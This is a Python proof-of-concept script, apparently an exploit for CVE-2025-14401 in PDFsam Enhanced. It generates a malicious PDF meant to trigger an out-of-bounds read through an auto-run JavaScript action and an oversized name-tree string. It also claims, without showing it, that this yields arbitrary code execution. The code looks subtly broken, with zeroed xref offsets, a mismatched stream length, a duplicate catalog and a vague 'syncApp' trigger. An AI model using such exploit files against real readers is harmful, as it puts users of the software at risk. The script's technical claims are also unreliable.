CVE-2025-14401: PDFsam Enhanced App对象越界读取远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-14401 PoC - PDFsam Enhanced App Object Out-of-Bounds Read This PoC demonstrates the vulnerability in PDFsam Enhanced's App object handling. Note: This is for educational and authorized testing purposes only. """ import struct from io import BytesIO def create_malicious_pdf(): """ Create a malicious PDF file that triggers the App object OOB read vulnerability. The vulnerability exists in how PDFsam Enhanced processes App dictionary objects. """ # PDF Header pdf_content = b'%PDF-1.7\n' pdf_content += b'%\xe2\xe3\xcf\xd3\n' # Object 1: Catalog obj1_offset = len(pdf_content) pdf_content += b'1 0 obj\n' pdf_content += b'<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>\n' pdf_content += b'endobj\n\n' # Object 2: Pages pdf_content += b'2 0 obj\n' pdf_content += b'<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n' pdf_content += b'endobj\n\n' # Object 3: Page pdf_content += b'3 0 obj\n' pdf_content += b'<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\n' pdf_content += b'endobj\n\n' # Object 4: Trigger - Malicious App Object # This object exploits the OOB read in App object handling # The vulnerability is triggered when PDFsam processes malformed App dictionary pdf_content += b'4 0 obj\n' pdf_content += b'<< /Type /Action /S /JavaScript /JS (\n' pdf_content += b'this.app.alert("Vulnerability Trigger Point");\n' # Crafted App object that triggers OOB read pdf_content += b'var app = this.syncApp;\n' pdf_content += b'for(var i = 0; i < 0xFFFFFFFF; i++) {\n' pdf_content += b' try { app.viewerVersion; } catch(e) { break; }\n' pdf_content += b'}\n' pdf_content += b') >>\n' pdf_content += b'endobj\n\n' # Object 5: Extended App Object with malformed data # This triggers the OOB read vulnerability pdf_content += b'5 0 obj\n' pdf_content += b'<< /Type /Catalog /Names << /EmbeddedFiles 6 0 R >> >>\n' pdf_content += b'endobj\n\n' # Object 6: Malformed name tree that triggers OOB pdf_content += b'6 0 obj\n' pdf_content += b'<< /Names [\n' # Crafted data that causes buffer over-read pdf_content += b'(' + b'A' * 10000 + b')\n' pdf_content += b'7 0 R\n' pdf_content += b'] >>\n' pdf_content += b'endobj\n\n' # Object 7: Stream object with crafted data pdf_content += b'7 0 obj\n' pdf_content += b'<< /Length 44 >>\n' pdf_content += b'stream\n' # Trigger OOB read by accessing memory beyond buffer pdf_content += b'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\n' pdf_content += b'endstream\n' pdf_content += b'endobj\n\n' # Cross-reference table xref_offset = len(pdf_content) pdf_content += b'xref\n' pdf_content += b'0 8\n' pdf_content += b'0000000000 65535 f \n' pdf_content += f'{obj1_offset:010d} 00000 n \n'.encode() pdf_content += b'0000000000 00000 n \n' pdf_content += b'0000000000 00000 n \n' pdf_content += b'0000000000 00000 n \n' pdf_content += b'0000000000 00000 n \n' pdf_content += b'0000000000 00000 n \n' pdf_content += b'0000000000 00000 n \n' # Trailer pdf_content += b'trailer\n' pdf_content += b'<< /Size 8 /Root 1 0 R >>\n' pdf_content += b'startxref\n' pdf_content += f'{xref_offset}\n'.encode() pdf_content += b'%%EOF\n' return pdf_content def main(): """Generate and save the malicious PDF file.""" print("[*] Generating CVE-2025-14401 PoC PDF...") pdf_data = create_malicious_pdf() output_file = "CVE-2025-14401-poc.pdf" with open(output_file, 'wb') as f: f.write(pdf_data) print(f"[+] PoC PDF saved to: {output_file}") print("[*] When opened in PDFsam Enhanced, this file triggers an OOB read vulnerability") print("[*] The vulnerability allows arbitrary code execution in the context of the current process") if __name__ == "__main__": main()